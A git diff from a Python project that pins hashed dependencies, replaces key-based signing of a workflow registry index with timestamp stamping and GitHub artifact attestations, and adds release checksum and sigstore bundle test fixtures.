--hash=sha256:5921a4d3ca3aee735d9fd163808f5e8dd6c6972101e4adbda9a4667908849b97 \ + --hash=sha256:5a4e67afbc95fa5c34cf27d9089bca7fcab4e51e57278d710320a70b956d1b9a \ + --hash=sha256:5cb1b2f9742240e4bb26b652a5aeb840aa4b417c7748b6f8387927bc6e45e40d \ + --hash=sha256:62de39db01b8d593e45871af2af9e497295db8d73b085f6bfd0b18c83c70a8f9 \ + --hash=sha256:634e8609e89ceecea15e2d61bc9ac3718caaaa71963717bf3c8f38bfde64242c \ + --hash=sha256:63510af5e38f8955b8ee5687740d6ebf7c2a0886d15a6d65c32814613681bc07 \ + --hash=sha256:650ae77860b45cfa6e2cdafc42618ceafab3a2d9a3811fcfbd3bbf8ac3c40d36 \ + --hash=sha256:6561e94ba9dacc9c61bce40e2d6bdc3bfaa0259d3ff36ace3b1e6901936d2e3e \ + --hash=sha256:65840751b72fbfd82c3c640cff9284545342a4f1eb1586ad0636955b261b0b05 \ + --hash=sha256:6cb58b9c66f7e4179a2d5e0f849c48eff5c1fca560994d6eb6543abf955a149e \ + --hash=sha256:6f52298fbd394f9ed112d56f3d11aabd0d5bd27beb3084cc3d8ad069483b8941 \ + --hash=sha256:707625ef0983fcfb461acfaf14de2067c5942c6bb0f3b4c99158bed6fedd3cf3 \ + --hash=sha256:72f6c8b11857a856bcfa48c86f5368439f74453563f951e473514579d44aa612 \ + --hash=sha256:753e230374206729bf0a807954bcc6c150d3743928a73faffee51ac6557a03c3 \ + --hash=sha256:76d0819de158cd855d1cbb8fcafdf6f5cf1eb8e470abe056d5d161106e38062b \ + --hash=sha256:76ee27c6e9c7f16f47db7a94157112a2f3a00e958bc626e2f4ee8bec5c328fbe \ + --hash=sha256:77b63866ca88d804225eaa4af3e664c5faf3568cea95360d21f4725ab6e07146 \ + --hash=sha256:79ec52ec461e99e13791ec6508c722742ad745571f234ea6255bed38c6480f11 \ + --hash=sha256:7b93a4d08587e2b7e7882de461e82b6ed76d9026ce91ca7915e740ecc7855f60 \ + --hash=sha256:7da7087d756b19037bc2c06edc6c170eeef3c3bafcb8f532ff17d64dc427adfd \ + --hash=sha256:7f3bf998340c6d4b0c9a2f02d6a400e51f123b59565d74dc60d252ce888c260b \ + --hash=sha256:80aa89cad80b32a912a65332f64a4450ed00966111b6615ca6816153d3585a8c \ + --hash=sha256:8566def80554c3faa0e65ac30ab0932b9e3a5cd7f8323764303d468e5c37595a \ + --hash=sha256:873e0d5b4fb9b89ef7c2d2a963ea7d02879d9da0da8d9d4933dee8ee86a8b460 \ + --hash=sha256:88942d3a3dff3afc8288c21e565e476fc278902ae4d6d134f1eeda118cc830b1 \ + --hash=sha256:8bfeaf8735be79f225f3fefab7f941c712aaca36f1128c9d7e2352ee1aa87bdf \ + --hash=sha256:8e7c86f27c585ef37c35e56a96363ab8de4e549a95512445b85c96d3e2f7c1bf \ + --hash=sha256:915c3d10f81bec3a74fbd4faebe8391013ba61e5a1a8d48c4455b923bdda7858 \ + --hash=sha256:93e8740d7503eb008aa2df04d3b9735f845d43ae845e6dcd2be0b55a2da43cd2 \ + --hash=sha256:941103c9be18ac8daf7b7adca8228f8ed6bb7a1849020f643b3a14d15b1924d9 \ + --hash=sha256:97aeba56665b4c3235a0e52b2c2f5ae9cd071b8a8310ad27bddb3f7fb30e9aa2 \ + --hash=sha256:a39455728aabd58ceabb03c90e12f71fd30fa69615760a075b9fec596456ccc3 \ + --hash=sha256:a3a52f6156e73e7ccb0f8cced536adccb7042be67cb45f9562e12b319c119da6 \ + --hash=sha256:a668ce24de96165bb239160b3d854943128f4334822900534f2fe947930e5770 \ + --hash=sha256:a75dafbf87d6276ddc5b2bf6fae5254e3d0876b626eb24969a574fff9149ee5d \ + --hash=sha256:aabf5777b5c8ca26f7824cb4a120a740c9588ed58df9b2d196ce92fba42ff8dc \ + --hash=sha256:aec5cf2fd867b4ff45b9959f8b20ea3993fc93e63c7363fe6851424c8a7e7c23 \ + --hash=sha256:b2379fa7ed44ddecb5bfe4e48577d752db9fc10be00a6b7446e9663ba143de26 \ + --hash=sha256:b4ececa40ac28afa90871c2cc2b9ffd2ff0bf749380fbdf57d165fd23da353aa \ + --hash=sha256:b5819cd790dbf0c5eb9f82c73c16b39a65dd6dd4d1439dcdea7816ec9adddab8 \ + --hash=sha256:b74557b16e390ec12dca509bce9264c3bbd128f8a2c376eaa68003d7f327276d \ + --hash=sha256:b80aa5095cd3109962a298ce14110ae16b8c1aece8b72f9dafe81cf597ad80b3 \ + --hash=sha256:b93590ae81f7010dbe380cdeab6f515902ebcbefe0b9327cc4804d74e93ae69d \ + --hash=sha256:b96d5f26b05d03cc60f11a7761a5ded1741da411e7fe0909e27a5e6a0cb7b034 \ + --hash=sha256:bd3d54f38609ff308209bd43acea66061494157703364ae40c951f83ba99a1a9 \ + --hash=sha256:bfea2a5f0b4d8d43adf9d7b8bf019fb46fdd10a2e5cde477fbcb9d1fa08c68e1 \ + --hash=sha256:c007fe8a43d43b3969e8469004e9845944f1a80e6acd47c150856bb87f230c56 \ + --hash=sha256:c1df3d34aced70add6f867a8cf413e299177e0c22660cc767218373d0779487b \ + --hash=sha256:c23e27686783f60290e36827f9c626e63154b82b116d7fe9adba1fda36da706c \ + --hash=sha256:c8d8b4eb992936023be7dee581270af5c6e0697a8559895f527f5b7105ecd36a \ + --hash=sha256:c9e19dd6e28fdcaa5a1de679aec4141f691023916427ef9bae8584f9c2fb3b0e \ + --hash=sha256:d0d2568a8c11bf8225044aa94409e21da0cb09dcdafe9ecd10250b2baad531a9 \ + --hash=sha256:d38548150c39b74aeeb0ce8ee1d8e82696f4a4e16ddc6de7b1d8823f7de4b9b5 \ + --hash=sha256:d3a978c4f57a597908b7e697229d996d77a6d3c94901e9edee593adada95ce1a \ + --hash=sha256:d5160812ea7a8a2ffbe233d8da666880cad0cbaf5d4de74ae15c313213d62556 \ + --hash=sha256:dc799088c08fa04e43144b164feb0c13f9a0bc40503f8df3e9fde58a3c0c101e \ + --hash=sha256:df3959765b553b9440adfd3c795617c352154e497a4eaf3752555cfb5da8fc49 \ + --hash=sha256:dfa8a0c812ac681395907e71e1274819dec685fec28273a28905df579ef137e2 \ + --hash=sha256:e25c479382d26a2a41b7ebea1043564a937db462816ea07afa8a44c0866d52f9 \ + --hash=sha256:e4f4a984405e91527a0d62649ee21138f8e3d0ef103be488c1dc11a80d7f184b \ + --hash=sha256:e536c98a7626a98feb2d3eaf75944ef6f3dbee447e1f841eae16f2f0a72d8ddc \ + --hash=sha256:e56ba91f47764cc14f1daacd723e3e82d1a89d783f0f5afe9c364b8bb491ccdb \ + --hash=sha256:e672ba74fbc2dc8eea59fb6d4aed6845e6905fc2a8afe93175d94a83ba2a01a0 \ + --hash=sha256:e7b576130c69225432866fe2f4a469a85a54ade141d96fd396dffcf607b558f8 \ + --hash=sha256:e8465ab91a4bd96d36dde3263f06caa6a8a6019e4113f24dc753d79a8b3a3f82 \ + --hash=sha256:e96cea19e34778f8d59fe40775a7a574d95816eb150850a85a7a4c8f4b94ac69 \ + --hash=sha256:ece5c59f0ce7d001e017643d8d24da587ea1f74f6993467d85ae8a5ef9d4f42b \ + --hash=sha256:eceb81a8d74f9267ef4081e246ffd6d129da5d87e37a77c9bde550cb04870c1c \ + --hash=sha256:ed2e99c456e3fadd05c991f8f437ef902e00eedf34320ba2b0842bd1c3ca3a75 \ + --hash=sha256:f0cd744688278965817fd0839c4a4116add48d23890d468bc436f78beb28abf5 \ + --hash=sha256:f14f8f046c14563f8eb3f45f499cc658ab8d10072961e07225e507adb700e93f \ + --hash=sha256:f15489ba13d61f670dcc96772e733aad1a6f9c429cc27574c6cdaed82d0146ad \ + --hash=sha256:f31d95a179f8d64d90f6831d71fa93290893a33148d890ba15de25642c5d075b \ + --hash=sha256:f41a7489d32336dbf2199c8c0a215390a751c5b014c2c1c5366e817202e9cdf7 \ + --hash=sha256:f41eb9797986d6ebac5e8edff36d5cef9de40def462311b3eb3eeded1431e425 \ + --hash=sha256:f547144f2966e1e16ae626d8ce72b4cfa0caedc7fa28052001c94fb2fcaa1c52 +pygments==2.21.0 \ + --hash=sha256:2363c69b61c4a97c838da3b130dcd6468f4848992b21a82f2a63ec34377137d9 \ + --hash=sha256:610ca751c9bc2492b38eb9a38a7fbc93edbbb2d7182edaf34e66ae493dee5c8c +pyjwt==2.15.1 \ + --hash=sha256:42d59d631f7768a1028a64c7ff581a9bf7519804daf91fc5b6c56e30eec5e193 \ + --hash=sha256:4f259e80cdfb6b3fc18a7de51fd1ef9ec79652f25019bae68975ca2468a34df8 +requests==2.34.2 \ + --hash=sha256:2a0d60c172f83ac6ab31e4554906c0f3b3588d37b5cb939b1c061f4907e278e0 \ + --hash=sha256:f288924cae4e29463698d6d60bc6a4da69c89185ad1e0bcc4104f584e960b9ed +rfc3161-client==1.0.9 \ + --hash=sha256:03be7ac7919c7f4c566076b07773b81b1f1b28d447fa91c6960fb5f82fac5bc1 \ + --hash=sha256:0ac247d5aa22f3514d1e284bdc547d2ad5f101e1e5d7f6db25db2ab3a0c59f06 \ + --hash=sha256:4d33f5aaec2974239e1c62a79a6fcf32506b09095482377a8b5be3a00fa67dfb \ + --hash=sha256:5e619d7e28ffa3a46685923e6d6ba4ce2e74cb09a41c77995a0702cc1a533bc4 \ + --hash=sha256:614da494c6f8850c5d6d98c23bc291a4e4dbf2c3c9082d9907fa156f9e4a75c6 \ + --hash=sha256:66997415086d2c6e5d57a2d315157b32a9c3f4f1312877ca8eb55e2e0ddf8ce4 \ + --hash=sha256:7b703b233dbee7228d117d5f1c118363c61d523fa6f018c9217c79e3c6684f86 \ + --hash=sha256:8208999e94e1252e3f5f748f5efe59d3b9c308d04c7626be1becfbf3236c9de4 \ + --hash=sha256:908f6a775da4bdce1d39f825a4431f389542696078ef3e4ed911a068bcaf1792 \ + --hash=sha256:a7004edfbf1bb7ec7801978a39fa7a7fe385ca59673df90d7578079b6eba3b24 \ + --hash=sha256:d3cbf1991b6f3457efcb25e1d31179cac556112e6d3e65ec9e0fd70c6e9af90d \ + --hash=sha256:d4cf92f0e784ff02ff5ea1c574f8521f30953dc178092424126dbd8348034f93 \ + --hash=sha256:fac3f440a507555e684dc5daba75e33dc08f0f45fdefa48448f19001233a6b21 +rfc8785==0.1.4 \ + --hash=sha256:520d690b448ecf0703691c76e1a34a24ddcd4fc5bc41d589cb7c58ec651bcd48 \ + --hash=sha256:e545841329fe0eee4f6a3b44e7034343100c12b4ec566dc06ca9735681deb4da +rich==15.0.0 \ + --hash=sha256:33bd4ef74232fb73fe9279a257718407f169c09b78a87ad3d296f548e27de0bb \ + --hash=sha256:edd07a4824c6b40189fb7ac9bc4c52536e9780fbbfbddf6f1e2502c31b068c36 +securesystemslib==1.6.0 \ + --hash=sha256:1c1aa00f058f4851f038d409c8ca4a727db854a91f07ec3a0fa047bb93e43e0e \ + --hash=sha256:b16e07c32bb41174c2ee2fb18f478ebe0d52e0e7c1fb085ce89c990452a35977 +sigstore==4.5.1 \ + --hash=sha256:02e000197b34980f1d382741d6f83c2fecbcef7debf7304f36a5253f3c892cd9 \ + --hash=sha256:14accda8a7d4ef47cb25b4903829fb10f011048c261a5937724a43d073c4f34d +sigstore-models==0.0.6 \ + --hash=sha256:5201a68f4d7d0f8bec1e2f4378eb646b084c52609a4e31db8c385095fff68b2e \ + --hash=sha256:c766c09470c2a7e8a4a333c893f07e2001c56a3ff1757b1a246119f53169a849 +sigstore-rekor-types==0.0.18 \ + --hash=sha256:19aef25433218ebf9975a1e8b523cc84aaf3cd395ad39a30523b083ea7917ec5 \ + --hash=sha256:b62bf38c5b1a62bc0d7fe0ee51a0709e49311d137c7880c329882a8f4b2d1d78 +tuf==7.0.1 \ + --hash=sha256:5ada1db78da3518fa851e28588f4b2249b8662a28ae528f54afa2a1de541fb31 \ + --hash=sha256:d30434bda6e079ab303fb30d1b3006d939a10ca34783b1573d61cd9b802fa45c +typing-extensions==4.16.0 \ + --hash=sha256:481caa481374e813c1b176ada14e97f1f67a4539ce9cfeb3f350d78d6370c2e8 \ + --hash=sha256:dc983d19a509c94dba722ee6abd33940f7c05a89e243c47e907eb4db6f1a43e5 +typing-inspection==0.4.4 \ + --hash=sha256:547274fa6b0a561ccf549cc9524b999a578e737d015d8709d021f9d0d13bea47 \ + --hash=sha256:65b8397ba37ccbce054456aaccddfc91e6e3083c92824df348d96ca832f3f147 +urllib3==2.8.0 \ + --hash=sha256:0cf3cae568d36aa9576b28dfb35f11328f1cb974ca7647d9475ebb86c75ac6e3 \ + --hash=sha256:63bf2ead4c879426ebf22ef2a781eeb4aa3b4ae798a0435506f8687fd5bb9b63 diff --git a/packages/flow/scripts/build_registry_index.py b/packages/flow/scripts/build_registry_index.py index 9ff2f5ee7..b80520f93 100644 --- a/packages/flow/scripts/build_registry_index.py +++ b/packages/flow/scripts/build_registry_index.py @@ -3,23 +3,21 @@ python scripts/build_registry_index.py # write the committed index python scripts/build_registry_index.py --check # fail when it is stale python scripts/build_registry_index.py --archives DIR --asset-base URL --out PATH - python scripts/build_registry_index.py --sign PATH + python scripts/build_registry_index.py --archives DIR --asset-base URL --out PATH --stamp ``--archives`` writes each bundle as a reproducible ``.tar.gz`` into DIR and points its entry at ```` (the registry release's assets). -Each archive carries a NOTICE naming the app's license. ``--sign`` signs -every entry of the index at PATH, stamps ``issued_at``, ``expires_at`` and -``serial``, and signs the index as a whole, in place, with the seed in the -file named by ``OPENADAPT_REGISTRY_SIGNING_SEED`` and the key id in -``OPENADAPT_REGISTRY_KEY_ID``. Only the registry release workflow does that, -in its protected environment; the seed never lives in this repository. +Each archive carries a NOTICE naming the app's license. ``--stamp`` writes +``issued_at``, ``expires_at`` and ``serial`` into the index. The registry +release workflow does that, then attests the index and the archives with +GitHub's keyless artifact attestations (``actions/attest``); there is no +signing key. """ from __future__ import annotations import argparse import json -import os import sys from pathlib import Path from typing import Optional @@ -33,7 +31,7 @@ build_archive, build_entry_files, license_notice, - sign_index, + stamp_index, validate_index, ) @@ -57,39 +55,28 @@ def build(archives: Optional[Path] = None, asset_base: Optional[str] = None) -> return sources -def sign(path: Path) -> None: - seed = Path(os.environ["OPENADAPT_REGISTRY_SIGNING_SEED"]).read_bytes() - key_id = os.environ["OPENADAPT_REGISTRY_KEY_ID"] - index = json.loads(path.read_text()) - sign_index(index, seed, key_id) - validate_index(index) - path.write_text(json.dumps(index, indent=2, sort_keys=True) + "\n") - - def main() -> int: parser = argparse.ArgumentParser(description=__doc__.splitlines()[0]) parser.add_argument("--check", action="store_true") parser.add_argument("--archives", type=Path) parser.add_argument("--asset-base") parser.add_argument("--out", type=Path) - parser.add_argument("--sign", type=Path) + parser.add_argument("--stamp", action="store_true") args = parser.parse_args() - if args.sign: - sign(args.sign) - return 0 if args.archives: args.archives.mkdir(parents=True, exist_ok=True) out = args.out or ROOT / "registry/index.json" index = build(args.archives, args.asset_base) + if args.stamp: + stamp_index(index) text = json.dumps(index, indent=2, sort_keys=True) + "\n" if args.check: committed = json.loads(out.read_text()) - # The release workflow adds the signatures, the freshness fields and - # each entry's archive. - for field in (*INDEX_FRESHNESS_FIELDS, "signature"): + # The release workflow adds the freshness fields and each entry's + # archive. + for field in INDEX_FRESHNESS_FIELDS: committed.pop(field, None) for item in committed["workflows"]: - item.pop("signature", None) item.pop("archive", None) if committed != index: print("registry/index.json is stale; run scripts/build_registry_index.py") diff --git a/packages/flow/tests/fixtures/registry/desktop-0.24.1-SHA256SUMS b/packages/flow/tests/fixtures/registry/desktop-0.24.1-SHA256SUMS new file mode 100644 index 000000000..7f733bdf8 --- /dev/null +++ b/packages/flow/tests/fixtures/registry/desktop-0.24.1-SHA256SUMS @@ -0,0 +1,16 @@ +c1136bfffb634f71a51e3cbfd080fca12e0bef0fa8a7549d9a3919e8560d5939 OpenAdapt-Desktop-Candidate-v0.24.1-linux-x86_64-github-attested-metadata.json +daa967d02559ad3624bda0ae923b291442485ab06a1e555c31d3f49bb814cea0 OpenAdapt-Desktop-Candidate-v0.24.1-linux-x86_64-github-attested.AppImage +75b942cabf04f7e6216ef73273f92a021232ff7ed7ead4301fd940220e87df16 OpenAdapt-Desktop-Candidate-v0.24.1-linux-x86_64-github-attested.deb +6132fdab542f7907275906ac8c0d4be8b8b01daf8f9d1f188af058b74e350a85 OpenAdapt-Desktop-Candidate-v0.24.1-macos-arm64-adhoc-metadata.json +6f8a4f05df5ca5cb495ebe3e7deede5190d1da6fed6476284c689952d08e32f7 OpenAdapt-Desktop-Candidate-v0.24.1-macos-arm64-adhoc.dmg +9725459d89b241340fa59c43b3885015f89db17423819882089d480a5af4345d OpenAdapt-Desktop-Candidate-v0.24.1-macos-x86_64-adhoc-metadata.json +48ba58909b9a736abd109c38310ce9bb03b48a46bd1f7ae19221626c50f3a7f8 OpenAdapt-Desktop-Candidate-v0.24.1-macos-x86_64-adhoc.dmg +ed86395490fe7151ec5338d38a29640145e23dcdfad3d8f9f20919436b61667b OpenAdapt-Desktop-Candidate-v0.24.1-windows-x86_64-unsigned-metadata.json +89937222c1591907caf91c3409d979a4b3f304a413ca870aad98eb82de9a3faa OpenAdapt-Desktop-Candidate-v0.24.1-windows-x86_64-unsigned-nsis-setup.exe +ae3990223ec7a41233fffc76027391d15423080ff238a52e717a2cf7460b458e OpenAdapt-Desktop-Candidate-v0.24.1-windows-x86_64-unsigned.msi +7d3ac8cc13364ab79fc0c5eb001b5b8524f2fdf567aaf8aacb65eddf1047158e OpenAdapt-Desktop-v0.24.1.cyclonedx.json +55a2424c4c2488a1d9a1da8da47fe108c29a903fe9acda5e8fa62533e1198724 openadapt-desktop-native-release-provenance.json +41f59b25834151a9e62263f01e18ddb3fbd0b0abd1d6758e9b22b786078247c3 openadapt-desktop-release-manifest.json +aedbb04dbbad4ad683dbe9dc2f517762aa2c1df3f63d5dd2c0819c50d7502e01 openadapt_desktop-0.24.1-py3-none-any.whl +c91f576980201853574d8166faa5bb7f91b78b30a25097a95807bd020b0cba4c openadapt_desktop-0.24.1.tar.gz +e476f72e7f01bac3e553269af4ebdd9dc73207da84e6ce5ca050cbd76c75cb44 verify-openadapt-native-release.py diff --git a/packages/flow/tests/fixtures/registry/desktop-0.24.1-SHA256SUMS.sigstore.json b/packages/flow/tests/fixtures/registry/desktop-0.24.1-SHA256SUMS.sigstore.json new file mode 100644 index 000000000..0e9bbcd3d --- /dev/null +++ b/packages/flow/tests/fixtures/registry/desktop-0.24.1-SHA256SUMS.sigstore.json @@ -0,0 +1 @@ +{"mediaType": "application/vnd.dev.sigstore.bundle.v0.3+json", "verificationMaterial": {"tlogEntries": [{"logIndex": "3546917922", "logId": {"keyId": "wNI9atQGlz+VWfO6LRygH4QUfY/8W4RFwiT5i5WRgB0="}, "kindVersion": {"kind": "dsse", "version": "0.0.1"}, "integratedTime": "1793215525", "inclusionPromise": {"signedEntryTimestamp": "MEYCIQCwyxvQgF2/MZN7rpHhDL0xX57M+uqxNwDXQwgE1lDhcQIhALbGqGHNdhY2jSqAYEdmqog/Vn/SeyhndmXpLoPYeHbc"}, "inclusionProof": {"logIndex": "3425013660", "rootHash": "OzqivWPn9RR99yLrwYOuyMC7MdxU24YGEFckFY3Mulk=", "treeSize": "3425013746", "hashes": ["6AjdAxwG0UaZg0YKcRNRzAyuogTC9x+Y4WvoChwZIvo=", "fw1GEQrx4qc2eHbYH5GWrZT0W5v2QWe+Htwx6sFE2rU=", "0Su24esG8DId8Vy0TwqJNJ0reUfM780aDxi8b9HyKpk=", "WNUq58Dx8SdiP1Nm33n1FBOD3CLBXPIPJmtUANqVZUc=", "1Vpl93vnOGLzr2l9MLhbT8k2JMgD1EbYssTJv1BHJ9Q=", "CVSccRh2NjFYVoKTvb3ancqfpdtyy7PiA34BDZBmcaE=", "krLnGvq9Eym5ijB6Bgf05ZtG27Fh9h41IQAX42pb3/E=", "TpqZwHXoAIMsEIMph8IV5dqwH2/8AUhPB5mk2KQc98I=", "ArWwZhu5V0OBZNWs0LNaYzmpi5t8KG8Ifo3HULhv5Xo=", "p2HbYh4kdkgAhA+jel+UvkmMhguS6mpWqH0EEdwyviM=", "uVp3NoM5VUQwDBKDgdG64plYowmBkR7uFcYDcLbN/9c=", "8OUlapyOPzDuv/SUm0rXM9SyE1LKT/fWuUIZ+/Jkvro=", "+3K2T7Xiz84RUaRe7bCelFG+4QBXjWxO7rUsmqOM8Og=", "Fokxoptdag8QDkqEXYi72uTk96TrSMcID7M21cld6jQ=", "p6/M9se/opYmIU3ek7rIz+SXrKEji7klZao7o2204UE=", "JJo2FoaRBqsvaKxihSg8WSCm/8QaCgvBr0LKZ78ukt0=", "kQz/4ND7LdhfAQn+idNsO+ZFC32sfkYRlhjWF5W+sPc=", "zGfeoWKmrZlXMOvyi3R2GDbGpmI1skJW/wLTXCCgF0o=", "1DaDKzrCNNBhmSdY5vFjz+NpAmxmYfYEgBCdPLrMP1A=", "xH/DCseLHr9eKoYT8qsORZK7zVdEGYWHuVtsVrD95wY="], "checkpoint": {"envelope": "rekor.sigstore.dev - 1193050959916656506\n3425013746\nOzqivWPn9RR99yLrwYOuyMC7MdxU24YGEFckFY3Mulk=\n\n\u2014 rekor.sigstore.dev wNI9ajBFAiByAAxXUhnM2HSVzYte+M2b8dZvHztt1cbi6dZzjkLj2QIhAIbKHfXEdleNusk/DOzS8ePQ247iiB7j/tN5cCRcqUL3\n"}}, "canonicalizedBody": "eyJhcGlWZXJzaW9uIjoiMC4wLjEiLCJraW5kIjoiZHNzZSIsInNwZWMiOnsiZW52ZWxvcGVIYXNoIjp7ImFsZ29yaXRobSI6InNoYTI1NiIsInZhbHVlIjoiZjgwNGFjMWMyNWJkNmY4M2M0ZmNkOTY4YmI4ZmE3ZjNhN2FmNDM0MjU0MjkzYTAyMGU1NjY5MDU1NzMxMzI2NSJ9LCJwYXlsb2FkSGFzaCI6eyJhbGdvcml0aG0iOiJzaGEyNTYiLCJ2YWx1ZSI6IjExY2M5ZGM5NDczNjM0M2NkZTZjODZmYWUyOWJhMTk1ODgzYjE0ZmEwNWYyMWQ3NTM5ODRmMDY0M2JjZGIyNTAifSwic2lnbmF0dXJlcyI6W3sic2lnbmF0dXJlIjoiTUVVQ0lRRDBJV3FoK3d0ZTZEVldDM1lRWDF0ejdVd0RFclVJQVdRMmZxWnpCSEpHVndJZ1pJWHVyM3JNalF4RkZpcTVjdFlCUlFmLzI2anpWNUZkUDhxVGJSZ3FFWjA9IiwidmVyaWZpZXIiOiJMUzB0TFMxQ1JVZEpUaUJEUlZKVVNVWkpRMEZVUlMwdExTMHRDazFKU1VoRlZFTkRRbkJoWjBGM1NVSkJaMGxWV0hOTlJITk1TelJpZDBoRlJETTBZU3Q1WTIxVVRXVlRNRU5yZDBObldVbExiMXBKZW1vd1JVRjNUWGNLVG5wRlZrMUNUVWRCTVZWRlEyaE5UV015Ykc1ak0xSjJZMjFWZFZwSFZqSk5ValIzU0VGWlJGWlJVVVJGZUZaNllWZGtlbVJIT1hsYVV6RndZbTVTYkFwamJURnNXa2RzYUdSSFZYZElhR05PVFdwWmVFMUVTVFJOVkd0NVRsUkpNRmRvWTA1TmFsbDRUVVJKTkUxVWEzcE9WRWt3VjJwQlFVMUdhM2RGZDFsSUNrdHZXa2w2YWpCRFFWRlpTVXR2V2tsNmFqQkVRVkZqUkZGblFVVkZXVmRzV1RCWmJUTXpURFZQVHk5T1lrYzNkV3MzV0Rrck1uZG9ZV3g1Y1dveGVFSUtibFJHVG10aGRtMUZOM1J4YVhOTGNtSTRhbE40VUhSVGFtVjRLMk5UYm10M1lUUmlOR1Z2U1VGeVREWjFRV1JOVkdGUFEwSmlWWGRuWjFkNFRVRTBSd3BCTVZWa1JIZEZRaTkzVVVWQmQwbElaMFJCVkVKblRsWklVMVZGUkVSQlMwSm5aM0pDWjBWR1FsRmpSRUY2UVdaQ1owNVdTRk5OUlVkRVFWZG5RbFJtQ2pBcmJsQldhVkZTYkhadGJ6SlBhMjlXWVV4SFRHaG9hMUI2UW5OQ1owNVdTRkpGUWtGbU9FVlpha0puYUd3MWIyUklVbmRqZW05MlRESmtjR1JIYURFS1dXazFhbUl5TUhaVU0wSnNZbXRHYTFsWVFqQlJWV3QyVkROQ2JHSnJSbXRaV0VJd1RIazFibUZZVW05a1YwbDJaREk1ZVdFeVduTmlNMlI2VERKU2JBcGpNblF3WWpOQmRHTnRWbk5hVjBaNldsTTFOV0pYZUVGamJWWnRZM2s1YjFwWFJtdGplVGwwV1Zkc2RVMUVhMGREYVhOSFFWRlJRbWMzT0hkQlVVVkZDa3N5YURCa1NFSjZUMms0ZG1SSE9YSmFWelIxV1ZkT01HRlhPWFZqZVRWdVlWaFNiMlJYU2pGak1sWjVXVEk1ZFdSSFZuVmtRelZxWWpJd2QwZG5XVXNLUzNkWlFrSkJSMFIyZWtGQ1FXZFJUV1F5T1hsaE1scHpZak5rWm1OdVZuVk5SRmxIUTJselIwRlJVVUpuTnpoM1FWRk5SVXRFWnpWWmVrbDNUVWRLYWdwUFJFWm9XVlJrYlU1VVNUSk5iVTVwVDFSU2FVOVVUVFZaVjA1b1drUnJNMWxxUm0xYVJFVXdUa1JSZDBoUldVdExkMWxDUWtGSFJIWjZRVUpDUVZGUUNsSkhWbnBoTTFKMlkwTkNlVnBYZUd4WldFNXNUVU5OUjBOcGMwZEJVVkZDWnpjNGQwRlJWVVZHVlRsM1dsYzFRbHBIUm5ka1JVWktUREE1ZDFwWE5VSUtXa2RHZDJSRVFXUkNaMjl5UW1kRlJVRlpUeTlOUVVWSFFrRTVlVnBYV25wTU1taHNXVmRTZWt3eU1XaGhWelIzVDNkWlMwdDNXVUpDUVVkRWRucEJRZ3BEUVZGMFJFTjBiMlJJVW5kamVtOTJURE5TZG1FeVZuVk1iVVpxWkVkc2RtSnVUWFZhTW13d1lVaFdhV1JZVG14amJVNTJZbTVTYkdKdVVYVlpNamwwQ2sxSE5FZERhWE5IUVZGUlFtYzNPSGRCVVd0RldVRjRaV0ZJVWpCalNFMDJUSGs1Ym1GWVVtOWtWMGwxV1RJNWRFd3dPWGRhVnpWQ1drZEdkMlJGUmtvS1REQTVkMXBYTlVKYVIwWjNaRU00ZFZveWJEQmhTRlpwVEROa2RtTnRkRzFpUnprelkzazVhMXBZVG5Ka1J6bDNURmhLYkdKSFZtaGpNbFYxWlZjeGN3cFJTRXBzV201TmRtRkhWbWhhU0UxMllsZEdjR0pxUVRSQ1oyOXlRbWRGUlVGWlR5OU5RVVZMUWtOdlRVdEVaelZaZWtsM1RVZEthazlFUm1oWlZHUnRDazVVU1RKTmJVNXBUMVJTYVU5VVRUVlpWMDVvV2tSck0xbHFSbTFhUkVVd1RrUlJkMGhSV1V0TGQxbENRa0ZIUkhaNlFVSkRkMUZRUkVFeGJtRllVbThLWkZkSmRHRkhPWHBrUjFaclRVUm5SME5wYzBkQlVWRkNaemM0ZDBGUmQwVkxaM2R2WVVoU01HTklUVFpNZVRsdVlWaFNiMlJYU1hWWk1qbDBUREE1ZHdwYVZ6VkNXa2RHZDJSRlJrcE1NRGwzV2xjMVFscEhSbmRrUkVFMFFtZHZja0puUlVWQldVOHZUVUZGVGtKRGIwMUxSR2MxV1hwSmQwMUhTbXBQUkVab0NsbFVaRzFPVkVreVRXMU9hVTlVVW1sUFZFMDFXVmRPYUZwRWF6Tlpha1p0V2tSRk1FNUVVWGRJZDFsTFMzZFpRa0pCUjBSMmVrRkNSR2RSVWtSQk9Ya0tXbGRhZWt3eWFHeFpWMUo2VERJeGFHRlhOSGRIVVZsTFMzZFpRa0pCUjBSMmVrRkNSSGRSVEVSQmF6Sk5hbU4zVFdwUk5FNVVRWGRNWjFsTFMzZFpRZ3BDUVVkRWRucEJRa1ZCVVdkRVFqVnZaRWhTZDJONmIzWk1NbVJ3WkVkb01WbHBOV3BpTWpCMlZETkNiR0pyUm10WldFSXdVVlZyZDBkUldVdExkMWxDQ2tKQlIwUjJla0ZDUlZGUlRFUkJhM2hOZWtreVQwUkZlVTFVWTNkaVoxbExTM2RaUWtKQlIwUjJla0ZDUldkU1owUkdOVzlrU0ZKM1kzcHZka3d5WkhBS1pFZG9NVmxwTldwaU1qQjJWRE5DYkdKclJtdFpXRUl3VVZWcmRsUXpRbXhpYTBacldWaENNRXg1Tlc1aFdGSnZaRmRKZG1ReU9YbGhNbHB6WWpOa2VncE1NbEpzWXpKME1HSXpRWFJqYlZaeldsZEdlbHBUTlRWaVYzaEJZMjFXYldONU9XOWFWMFpyWTNrNWRGbFhiSFZOUkdkSFEybHpSMEZSVVVKbk56aDNDa0ZTVFVWTFozZHZUMFJzYWsxcVFYZFpiVTAwVFZkR2FFNHlXVEZOYWxsNVdUSkpOVTVIU1RWTmVteG9XVEpHYTA5VVpHbE5WMXByVFZSUk1FNUVRV01LUW1kdmNrSm5SVVZCV1U4dlRVRkZWVUpCTkUxRVNHUjJZMjEwYldKSE9UTllNMG94WW1wQ1kwSm5iM0pDWjBWRlFWbFBMMDFCUlZaQ1JUUk5WRWRvTUFwa1NFSjZUMms0ZGxveWJEQmhTRlpwVEcxT2RtSlRPVkJqUjFaMVVWZFNhR05JVWtKVFV6bFFZMGRXZFZGWFVtaGpTRkYyV1ZkT01HRlhPWFZqZVRsNUNtUlhOWHBNZWxGM1RucFZlRTFFYXpCTlZFa3pUREpHTUdSSFZuUmpTRko2VEhwRmQwWm5XVXRMZDFsQ1FrRkhSSFo2UVVKR1oxRkpSRUZhZDJSWFNuTUtZVmROZDFCbldVdExkMWxDUWtGSFJIWjZRVUpIUVZGM1JFTTFlVnBZUW5aUGF6bDNXbGMxUWxwSFJuZGtSVVpLVERBNWQxcFhOVUphUjBaM1pFUndlUXBhVjFrMlkyMVdiV041T1c5